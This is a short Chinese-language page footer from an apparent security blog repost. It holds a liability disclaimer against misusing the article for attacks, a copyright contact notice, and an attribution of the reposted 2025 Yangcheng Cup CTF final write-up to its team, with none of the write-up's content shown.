任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Become Team Become&Again-Bec《2025年“羊城杯”网络安全大赛决赛WP》